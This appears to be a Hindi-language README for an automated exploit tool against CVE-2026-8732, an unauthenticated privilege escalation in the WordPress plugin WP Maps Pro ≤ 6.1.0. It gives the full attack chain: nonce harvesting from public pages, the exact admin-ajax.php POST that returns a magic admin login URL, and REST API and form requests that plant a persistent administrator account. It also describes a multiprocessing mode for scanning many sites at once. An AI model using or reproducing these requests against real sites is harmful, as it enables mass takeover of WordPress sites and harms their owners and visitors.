
CVE-2026-8732 के लिए स्वचालित 8-चरण शोषण, WP Maps Pro ≤ 6.1.0 में एक अप्रमाणित विशेषाधिकार वृद्धि। लक्ष्यों को स्कैन करने, नॉन्स निकालने और व्यवस्थापक खाते बनाने के लिए मल्टीप्रोसेसिंग और asyncio का उपयोग करता है।
8-चरण स्वचालित शोषण | मल्टीप्रोसेसिंग + AsyncIO | सत्यापित व्यवस्थापक निर्माण
WordPress प्लगइन WP Maps Pro संस्करण ≤ 6.1.0 में बिना प्रमाणीकरण के विशेषाधिकार वृद्धि की कमजोरी है। कोई भी बिना क्रेडेंशियल वाला हमलावर व्यवस्थापक खाता बना सकता है और साइट पर पूर्ण नियंत्रण ले सकता है।
यह कमजोरी FlipperCode विक्रेता की सहायता टीम के लिए डिज़ाइन की गई "अस्थायी पहुँच" सुविधा से उत्पन्न होती है, लेकिन बिना पर्याप्त सुरक्षा के सार्वजनिक रूप से उजागर हो गई।
| जानकारी | विवरण |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (गंभीर) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्लगइन | WP Maps Pro (wp-google-map-gold) |
| विक्रेता | FlipperCode |
| प्रभावित संस्करण | ≤ 6.1.0 |
| पैच किया गया संस्करण | 6.1.1 |
| प्रकार | क्रिटिकल फ़ंक्शन के लिए लुप्त प्रमाणीकरण (CWE-306) |
| प्रभाव | बिना प्रमाणीकरण के व्यवस्थापक निर्माण → साइट पर पूर्ण नियंत्रण |
| PoC लेखक | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ कमजोरी 1 — बिना प्रमाणीकरण के उजागर एंडपॉइंट │
│ ▸ AJAX क्रिया wp_ajax_nopriv_ के साथ पंजीकृत │
│ ▸ बिना लॉगिन के कोई भी पहुँच सकता है │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ कमजोरी 2 — सार्वजनिक पृष्ठ पर लीक हुआ नॉन्स │
│ ▸ wpgmp_local.nonce ऑब्जेक्ट हर पृष्ठ पर एम्बेड होता है │
│ ▸ हमलावर HTML स्रोत से नॉन्स निकाल सकता है │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ कमजोरी 3 — कोई पहुँच अधिकार जाँच नहीं │
│ ▸ कॉलबैक फ़ंक्शन केवल नॉन्स सत्यापित करता है │
│ ▸ कोई current_user_can() नहीं — कोई अतिरिक्त सुरक्षा नहीं│
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ चरण 1 │──▶│ चरण 2 │──▶│ चरण 3 │──▶│ चरण 4 │
│ हल │ │ WP जांच │ │ प्लगइन │ │ संस्करण │
│ HTTPS? │ │ वर्डप्रेस│ │ पहचान │ │ ≤6.1.0? │
│ HTTP? │ │ wp-कंटेंट│ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ कमजोर
▼
┌──────────────────────────────────────────────────────────┐
│ चरण 5 — नॉन्स निष्कर्षण │
│ │
│ समूह A (API) समूह B (सामग्री) समूह C │
│ ├─ M1: REST पृष्ठ ├─ M4: साइटमैप XML └─ M7: स्लग │
│ ├─ M2: REST खोज ├─ M5: मुखपृष्ठ लिंक बलपूर्वक │
│ └─ M3: rest_route └─ M6: RSS/Atom फ़ीड प्रयास │
│ │
│ लक्ष्य: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ नॉन्स मिल गया
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ चरण 6 │──▶│ चरण 7 │──▶│ चरण 8 │
│ शोषण │ │ सत्यापित│ │ व्यवस्थापक│
│ POST │ │ जादू URL│ │ जोड़ें │
│ AJAX │ │ कुकी │ │ स्थायी │
│ नॉन्स+ │ │ लॉगिन │ │ REST API │
│ check_ │ │ जाँच │ │ WP-Admin │
│ temp=false│ │ │ │ फ़ॉर्म │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ व्यवस्थापक बनाया गया
लॉगिन: wp_xxxx / पासवर्ड
भूमिका: व्यवस्थापक
| चरण | नाम | कार्य | अनुरोध |
|---|---|---|---|
| 1 | हल | समानांतर में HTTPS/HTTP चुनें | 1 |
| 2 | WP जांच | सत्यापित करें कि लक्ष्य वर्डप्रेस है | 0 |
| 3 | प्लगइन पहचान | 3 परतों में WP Maps संकेतक जाँचें | 0-4 |
| 4 | संस्करण + WAF | readme.txt / CSS ?ver= पढ़ें + WAF पहचान | 1 |
| 5 | नॉन्स निष्कर्षण | 3 समूहों में 7 खोज विधियाँ | 0-150 |
| 6 | शोषण | admin-ajax.php पर POST → अस्थायी व्यवस्थापक खाता बनाएँ | 1 |
| 7 | सत्यापन | जादू URL तक पहुँच → व्यवस्थापक सत्र की पुष्टि | 2 |
| 8 | व्यवस्थापक जोड़ें | REST API (मुख्य) + WP-Admin फ़ॉर्म (बैकअप) | 4 |
POST /wp-admin/admin-ajax.php HTTP/1.1
होस्ट: target.com
सामग्री-प्रकार: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<नॉन्स_निष्कर्षण>
check_temp=false
यदि कमजोर है तो प्रतिक्रिया:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
यह जादू URL स्वचालित लॉगिन
fc_user_XXXXX(भूमिका: व्यवस्थापक) के रूप में प्रदान करता है।
POST /wp-json/wp/v2/users HTTP/1.1
होस्ट: target.com
X-WP-Nonce: <REST_NONCE>
सामग्री-प्रकार: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
होस्ट: target.com
कुकी: [admin_cookies]
सामग्री-प्रकार: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- कुंजी: कमजोर पासवर्ड की पुष्टि
role=administrator
createuser=नया उपयोगकर्ता जोड़ें
_wpnonce_create-user=<NONCE>
महत्वपूर्ण कुंजी:
pw_weak=1अनिवार्य है — इस पैरामीटर के बिना वर्डप्रेस कमजोर पासवर्ड को अस्वीकार करता है।
CVE-2026-8732.py
│
├── 📦 नॉन्स फ़ाइंडर — 7 विधियों वाला नॉन्स खोजक
│ ├── समूह A (API): M1 REST पृष्ठ, M2 REST खोज, M3 rest_route
│ ├── समूह B (सामग्री): M4 साइटमैप, M5 मुखपृष्ठ लिंक, M6 RSS फ़ीड
│ └── समूह C (बलपूर्वक): M7 स्लग बलपूर्वक प्रयास (30+ सामान्य स्लग)
│
├── ⚔️ शोषणकर्ता — 8-चरण शोषण इंजन
│ ├── resolve() → चरण 1: प्रोटोकॉल चयन
│ ├── check_wp() → चरण 2: वर्डप्रेस सत्यापन
│ ├── detect_plugin() → चरण 3: प्लगइन पहचान + प्रारंभिक नॉन्स
│ ├── detect_version() → चरण 4: संस्करण पहचान + WAF
│ ├── exploit() → चरण 6: मुख्य शोषण
│ ├── verify() → चरण 7: व्यवस्थापक लॉगिन सत्यापन
│ └── add_admin() → चरण 8: स्थायी व्यवस्थापक जोड़ें
│
├── 🔧 कार्य प्रक्रिया — मल्टीप्रोसेसिंग कार्य प्रक्रिया
│ ├── producer() → mp.Queue से डोमेन पढ़ें
│ └── consumer() (N) → समानांतर स्कैन निष्पादित करें
│
└── 🖥️ स्कैनर — उपयोगकर्ता इंटरफ़ेस
├── single() → एकल लक्ष्य मोड (इंटरैक्टिव)
└── multi() → बहु-लक्ष्य मोड (सामूहिक)